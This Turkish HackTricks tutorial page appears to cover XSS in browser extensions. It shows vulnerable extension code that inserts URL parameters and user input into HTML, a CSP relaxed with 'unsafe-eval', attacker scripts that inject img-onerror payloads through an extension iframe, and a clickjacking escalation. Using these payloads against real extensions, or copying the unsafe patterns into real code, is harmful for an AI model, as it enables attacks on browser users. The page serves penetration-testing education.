hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

7.5 KiB
Raw Blame History

BrowExt - XSS Örneği

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}

Iframe Üzerinden Cross-Site Scripting (XSS)

Bu yapılandırmada, bir içerik betiği bir Iframe oluşturmak için uygulanır ve Iframe'in kaynağı olarak sorgu parametreleri içeren bir URL kullanılır:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

Herkese açık bir HTML sayfası, message.html, URL'deki parametrelere dayalı olarak belge gövdesine dinamik olarak içerik eklemek için tasarlanmıştır:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

Kötü niyetli bir betik, bir düşmanın sayfasında çalıştırılır ve XSS yükü eklemek için Iframe'in kaynağının content parametresi değiştirilir. Bu, Iframe'in kaynağını zararlı bir betik içerecek şekilde güncelleyerek gerçekleştirilir:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

ırı izin veren bir İçerik Güvenlik Politikası, örneğin:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

JavaScript'in çalıştırılmasına izin verir, bu da sistemi XSS saldırılarına karşı savunmasız hale getirir.

XSS'i provoke etmenin alternatif bir yaklaşımı, bir Iframe öğesi oluşturmak ve kaynağını content parametresi olarak zararlı scripti içerecek şekilde ayarlamaktır:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM tabanlı XSS + ClickJacking

Bu örnek orijinal yazıdan alınmıştır.

Temel sorun, /html/bookmarks.html dosyasında bulunan bir DOM tabanlı Cross-site Scripting (XSS) açığından kaynaklanmaktadır. Aşağıda detaylandırılan sorunlu JavaScript, bookmarks.js dosyasının bir parçasıdır:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

Bu kod parçası txtName giriş alanından değeri alır ve HTML oluşturmak için dize birleştirmesi kullanır, ardından bu HTML, jQuerynin .append() fonksiyonu kullanılarak DOM'a eklenir.

Genellikle, Chrome uzantısının İçerik Güvenlik Politikası (CSP) bu tür zafiyetleri önler. Ancak, unsafe-eval ile CSP gevşetmesi ve jQuerynin DOM manipülasyon yöntemlerinin kullanımı (bu yöntemler, DOM eklenmesi sırasında scriptleri eval() ile geçmek için globalEval() kullanır) nedeniyle, istismar hala mümkündür.

Bu zafiyet önemli olsa da, istismarı genellikle kullanıcı etkileşimine bağlıdır: sayfayı ziyaret etmek, bir XSS yükü girmek ve “Ekle” butonunu etkinleştirmek.

Bu zafiyeti artırmak için, ikincil bir clickjacking zafiyeti istismar edilir. Chrome uzantısının manifesti, kapsamlı bir web_accessible_resources politikasını sergilemektedir:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Özellikle, /html/bookmarks.html sayfası çerçevelemeye karşı hassastır, bu nedenle clickjacking'e karşı savunmasızdır. Bu zafiyet, sayfayı bir saldırganın sitesinde çerçevelemek için kullanılır ve arayüzü yanıltıcı bir şekilde yeniden tasarlamak için DOM öğeleri ile örtülür. Bu manipülasyon, kurbanların istemeden altta yatan uzantıyla etkileşimde bulunmasına yol açar.

Referanslar

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}